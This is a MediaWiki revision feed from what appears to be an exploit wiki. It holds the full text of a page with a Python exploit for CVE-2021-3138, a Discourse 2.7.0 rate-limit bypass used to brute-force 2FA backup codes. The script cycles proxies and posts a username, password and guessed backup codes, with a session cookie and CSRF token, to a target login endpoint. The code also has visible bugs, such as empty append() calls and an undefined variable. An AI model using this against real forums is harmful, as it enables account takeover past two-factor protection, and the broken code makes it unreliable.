<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-3138_Discourse_2.7.0_2FA%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E</id>
	<title>CVE-2021-3138 Discourse 2.7.0 2FA繞過漏洞 - Revision history</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/index.php?action=history&amp;feed=atom&amp;title=CVE-2021-3138_Discourse_2.7.0_2FA%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-3138_Discourse_2.7.0_2FA%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;action=history"/>
	<updated>2026-04-10T01:53:30Z</updated>
	<subtitle>Revision history for this page on the wiki</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=CVE-2021-3138_Discourse_2.7.0_2FA%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1847&amp;oldid=prev</id>
		<title>Pwnwiki: Created page with &quot;==EXP== &lt;pre&gt; # Exploit Title: Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass # Date: 14/01/2021 # Exploit Author: Mesh3l_911 # Vendor Homepage: https://www.discourse...&quot;</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=CVE-2021-3138_Discourse_2.7.0_2FA%E7%B9%9E%E9%81%8E%E6%BC%8F%E6%B4%9E&amp;diff=1847&amp;oldid=prev"/>
		<updated>2021-04-21T10:06:46Z</updated>

		<summary type="html">&lt;p&gt;Created page with &amp;quot;==EXP== &amp;lt;pre&amp;gt; # Exploit Title: Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass # Date: 14/01/2021 # Exploit Author: Mesh3l_911 # Vendor Homepage: https://www.discourse...&amp;quot;&lt;/p&gt;
&lt;p&gt;&lt;b&gt;New page&lt;/b&gt;&lt;/p&gt;&lt;div&gt;==EXP==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# Exploit Title: Discourse 2.7.0 - Rate Limit Bypass leads to 2FA Bypass&lt;br /&gt;
# Date: 14/01/2021&lt;br /&gt;
# Exploit Author: Mesh3l_911&lt;br /&gt;
# Vendor Homepage: https://www.discourse.org/&lt;br /&gt;
# Software Link:https://github.com/discourse/discourse&lt;br /&gt;
# Version: Discourse 2.7.0&lt;br /&gt;
# CVE: CVE-2021-3138&lt;br /&gt;
&lt;br /&gt;
import requests&lt;br /&gt;
&lt;br /&gt;
username = input(&amp;quot;\n input ur username : &amp;quot;)&lt;br /&gt;
password = input(&amp;quot;\n input ur password : &amp;quot;)&lt;br /&gt;
session=requests.session()&lt;br /&gt;
&lt;br /&gt;
proxies = []&lt;br /&gt;
def proxies():&lt;br /&gt;
    proxies_path = input(&amp;quot;\n input ur proxies path : &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    with open(proxies_path, 'r') as prox:&lt;br /&gt;
        for _ in prox.read().splitlines():&lt;br /&gt;
            proxies.append()&lt;br /&gt;
&lt;br /&gt;
backup_codes = []&lt;br /&gt;
def backup_list():&lt;br /&gt;
    Backup_codes = input(&amp;quot;\n input ur Backup_codes list path : &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    with open(Backup_codes, 'r') as codes:&lt;br /&gt;
        for _ in codes.read().splitlines():&lt;br /&gt;
            backup_codes.append()&lt;br /&gt;
&lt;br /&gt;
def exploit():&lt;br /&gt;
    with open('Backup_codes.txt', 'w') as results:&lt;br /&gt;
        try:&lt;br /&gt;
            for __ in proxies:&lt;br /&gt;
                for _ in codes.read().splitlines():&lt;br /&gt;
                    header =\&lt;br /&gt;
                    {&lt;br /&gt;
                        &amp;quot;X-CSRF-Token&amp;quot;: &amp;quot;ur X-CSRF-Token&amp;quot;,&lt;br /&gt;
                        &amp;quot;Cookie&amp;quot;: &amp;quot;ur Cookie&amp;quot;,&lt;br /&gt;
                        &amp;quot;X-Requested-With&amp;quot;: &amp;quot;XMLHttpRequest&amp;quot;&lt;br /&gt;
                    }&lt;br /&gt;
                    body = {&amp;quot;login&amp;quot;: username, &amp;quot;password&amp;quot;: password, &amp;quot;second_factor_token&amp;quot;: _, &amp;quot;second_factor_method&amp;quot;: &amp;quot;2&amp;quot;}&lt;br /&gt;
                    request = session.post(&amp;quot;ur target_url&amp;quot;, headers=header, data=body, proxies={'http': __, 'https':__})&lt;br /&gt;
                    source = request.text&lt;br /&gt;
                    backup_codes.remove(_)&lt;br /&gt;
&lt;br /&gt;
                    if request.status_code == 200:&lt;br /&gt;
                        if '&amp;quot;id&amp;quot;' in source:&lt;br /&gt;
                            results.write(&amp;quot;The Backup_Coude is &amp;gt; {} &amp;quot;.format(_))&lt;br /&gt;
                            return True&lt;br /&gt;
                        else:&lt;br /&gt;
                            pass&lt;br /&gt;
                    else:&lt;br /&gt;
                        proxies.remove(__)&lt;br /&gt;
                        break&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        except requests.exceptions.SSLError and requests.exceptions.ConnectionError:&lt;br /&gt;
            print(&amp;quot; Connection Failed :( &amp;quot;)&lt;br /&gt;
&lt;br /&gt;
        results.close()&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
def main():&lt;br /&gt;
    if exploit():&lt;br /&gt;
        print(&amp;quot;\n Found :) \n&amp;quot;)&lt;br /&gt;
    else:&lt;br /&gt;
        print(&amp;quot;\n Please re-check ur inputs :( \n&amp;quot;)&lt;br /&gt;
if __name__ == '__main__':&lt;br /&gt;
    main()&lt;br /&gt;
            &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;/div&gt;</summary>
		<author><name>Pwnwiki</name></author>
	</entry>
</feed>